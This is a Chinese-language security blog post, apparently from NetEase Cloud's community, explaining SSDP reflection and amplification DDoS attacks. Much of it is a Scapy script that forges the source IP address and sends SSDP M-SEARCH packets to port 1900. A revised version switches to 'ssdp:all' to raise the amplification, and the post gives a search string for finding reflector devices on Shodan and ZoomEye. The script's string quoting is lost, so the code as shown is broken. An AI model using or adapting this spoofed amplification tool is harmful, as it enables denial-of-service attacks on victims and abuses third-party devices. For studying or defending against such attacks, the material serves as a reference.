本文來自網易雲社區。
前言
安全很多東西可以套用,無論在四層還是在七層,攻擊測試無非是抓包,攔截,改包,重放······反射放大最常修改的欄位是網路層源IP欄位。套路是固定的,關鍵還是看思路,每一種新型漏洞或者每一種新型DDoS攻擊都是人為創造出來的。
概述
當然我們不會只發送給一個中間介質,否則形成不了DDoS,於是乎又有了下圖。
放大
測試
(289+289)/139=4倍
from scapy.all import * import random def send_udp(srcip,dstip): x =random.randint(0,65535) sendmsg = M-SEARCH * HTTP/1.1 Host:239.255.255.250:1900 ST:upnp:rootdevice Man:"ssdp:discover" MX:3
i =IP() i.dst=dstip i.src=srcip u=UDP() u.dport=1900 u.sport=x send(i/u/sendmsg) print success if __name__ == __main__: send_udp(1.1.1.1,2.2.2.2)
可以在真實環境里測試下,我們需要兩台外網機器,一台發送數據包,一台接收數據包,當然還需要一台反射放大伺服器,這個可以在一些公網設備搜索引擎上面進行收集,搞安全的知道國外有shodan,國內有zoomeye,下面我給出了二者的搜索語法。
"ST:upnp:rootdevice"
在機器B上進行監控,成功收到數據包。
Man:必須是"ssdp:discover",注意這裡的引號不能省略
Mx:1到5之間的一個值,表示最大的等待響應的秒數
ST:Search Target的縮寫,表示搜索的節點類型,ST是要搜索的目標,如果搜索所有的設備和服務,則為ssdp:all,如果是搜索根設備,則為upnp:rootdevice。
很明顯讓所有服務和設備應答,和只讓根設備應答,發出來的數據包是完全不同的數量級,立馬修改python發包腳本。
def send_udp(srcip,dstip): x =random.randint(0,65535) sendmsg = M-SEARCH * HTTP/1.1 Host:239.255.255.250:1900 ST:ssdp:all Man:"ssdp:discover" MX:3
i =IP() i.dst=dstip i.src=srcip u=UDP() u.dport=1900 u.sport=x send(i/u/sendmsg) print success
這就是SSDP反射放大攻擊從入門到入獄的過程,感謝大家的觀看。
本文作者:網易高級安全工程師蘇斌
原文:DDoS反射放大之SSDP攻擊
網易雲官網:https://www.163yun.com
網易雲社區:https://sq.163yun.com/blog
新用戶大禮包:https://www.163yun.com/gift
更多網易研發、產品、運營經驗分享請訪問網易雲社區。